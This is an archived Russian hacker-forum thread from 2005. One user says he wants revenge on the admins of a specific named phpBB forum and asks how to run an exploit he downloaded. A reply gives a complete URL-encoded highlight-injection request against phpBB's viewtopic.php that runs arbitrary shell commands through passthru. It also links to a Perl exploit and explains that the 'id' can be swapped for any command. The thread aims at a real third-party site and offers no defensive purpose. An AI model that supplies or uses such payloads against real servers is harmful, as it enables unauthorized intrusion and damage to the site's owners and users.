Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 
журналы новости статьи video форум подписка на «Хакер»

Совершенно ламерский вопрос

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [В Сети] >> Совершенно ламерский вопрос
Имя
Сообщение << Старые топики   Новые топики >>
Совершенно ламерский вопрос - 2005-05-11 17:12:03   
v0rt3x

Сообщений: 3
Оценки: 0
Присоединился: 2005-05-10 15:06:14
 Недавно столкнулся с такой проблемой : решил отомстить админам на форуме посмотрел версия phpBB 2 нашёл в тумбочке журнал там декабрь того года и статья ломаем форум за 5 минут ну там ссылка на сплоит .. сплоит слил а как его заюзать непойму …. если можно обьяснить как он работает … и ешё … версия форума 2.0 а сплоит для 2.0.6. будет ли этот баг актуалет и для этой версии ? форум http://forum.telenet.dn.ua сплоит мона слить с vortex110.hotЬох.ru/gemuruh-v2.php
Помогите плз.
[:pray:]
Post #: 1
Совершенно ламерский вопрос - 2005-05-11 17:14:40   
v0rt3x

Сообщений: 3
Оценки: 0
Присоединился: 2005-05-10 15:06:14
 http://vortex110.hotЬох.ru/gemuruh-v2.php
И ешё постарайтесь обьяснить всё как моожнооо пооодробнее ))
Post #: 2
Совершенно ламерский вопрос - 2005-05-11 22:44:28   
t0ster

Сообщений: 9
Оценки: 0
Присоединился: 2005-05-03 22:34:05
 Самый офигительный сплоит для phpbb,который я знаю находится тут http://www.securitylab.ru/_Exploits/2004/11/PHPBB.PL.TXT Он исполняет произвольные команды на сервере.Что бы им пользоатся нужно:

1.Иметь у себя на компе перл или шелл с которого ты будеш запускать сплоит.Если ни того ни другого не т,то в браузере набираеш http://tvoy_forum//viewtopic.php?t=123&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20id%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527
,где id и есть произвольная команда.

2.Хоть чуть-чуть знать UNIX команды
Post #: 3
Совершенно ламерский вопрос - 2005-05-12 14:31:13   
v0rt3x

Сообщений: 3
Оценки: 0
Присоединился: 2005-05-10 15:06:14
 Ну и что я могу поставить за команду вместо id и что она сделает ? варианты с шеллом не предлагать он у мя шас очень ограничен .
Post #: 4
Совершенно ламерский вопрос - 2005-05-12 19:23:42   
[rapt0r]

Сообщений: 105
Оценки: 0
Присоединился: 2005-03-10 20:13:31
 Шоб шото подствить вместо id надо шарить в юниксах.
Post #: 5
Страниц:  [1]
Все форумы >> [В Сети] >> Совершенно ламерский вопрос







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.